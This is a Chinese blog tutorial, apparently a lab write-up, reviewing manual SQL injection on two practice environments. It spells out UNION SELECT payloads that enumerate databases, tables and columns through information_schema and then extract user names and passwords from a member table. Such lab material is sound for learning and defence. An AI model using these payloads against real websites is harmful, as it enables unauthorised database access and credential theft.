干货!SQL手工注入 复习与梳理

仅供学习使用,请勿用于其他用途。

最近做了一些漏洞复现,突然感觉继续提高真的很难,恍惚间就决定回首复习下基础。这两天做了两个SQL注入复习了下,自己整理的wp一起放出来了,基础不扎实的可以一起复习遍,巩固下。其实简单的SQL注入原理都大同小异,就那么些命令、那么些点,一直觉得学校教的复杂了。思路其实主要就是判断注入-字段数-字段位置-数据库名-表名-列名-值。环境是某实验平台的,这里不说了。这次的例子主要是常见的两种手工注入姿势,当然是没有waf等产品拦截的。下面内容中实验平台的网站敏感信息基本都打码了。

【环境一】

最简单的注入判断方法 加单引号 成功报错

上面可得 and 1=1正常回显 and 1=2报错

接下来 order by 判断

到5就报错了 所以只有4个字段!

接下来用union select 判断下字段在页面中的位置 如下图所示

其实能回显数据的地方只有两个

接下来我们看看数据库

补充下知识点 limit X,Y ——从X行起去Y行数据 输入and 1=2是让他报错 其次为了更好的理解数据库结构建议本地搭个phpmyadmin看看

and 1=2 union select1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

and1=2 union select 1,2,SCHEMA_NAME,4from information_schema.SCHEMATA limit 1,1

and1=2 union select 1,2,SCHEMA_NAME,4from information_schema.SCHEMATA limit 2,1

and1=2 union select 1,2,SCHEMA_NAME,4from information_schema.SCHEMATA limit 3,1

and 1=2 union select1,2,SCHEMA_NAME,4 from information_schema.SCHEMATA limit 4,1

到limit 5,1就返回空白了 说明只有上面的个数据库! 5个数据库!

接下来获取数据表

and 1=2 union select1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

and 1=2 union select1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

and1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1 终于报错了(不用再手工试了)说明只有两张表!

接下来获取列

and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit0,1

and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit1,1

and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit2,1

and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit3,1

and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit4,1 终于报错 只有三列!

接下来猜解字段 直接四个字段出了

and 1=2 union select 1,CONCAT(id,'-',name,'-',password,'-',status),3,4 frommozhe_Discuz_StormGroup.StormGroup_member limit 0,1

and 1=2 union select 1,CONCAT(id,'-',name,'-',password,'-',status),3,4 frommozhe_Discuz_StormGroup.StormGroup_member limit 1,1

【环境二】

原理不再细说 第一篇wp动手实验遍基本都会了 这个环境与第一个是不同的 我们开始吧:

这个环境id不再是数字明文了 而是base64加密后的密文

传参都需要base64加密 下面的截图传参 都是经过base64加密了的 明文我直接写出来了

首先加个单引号 其实提交id=1'

id=1 and 1=1

id=1 and 1=2

对了!建议使用火狐浏览器的hackbar 真的省事 自带base64加解密 不用切来切去加密了!

出现报错 说明只有两个字段

当然还有其他的报错办法比如说提交id=-1

同样是可以获得相同的结果的!

成功获取所有列名!

同样是可以获取的!比较麻烦 步骤繁琐 不再演示!

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181213G00A1300?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券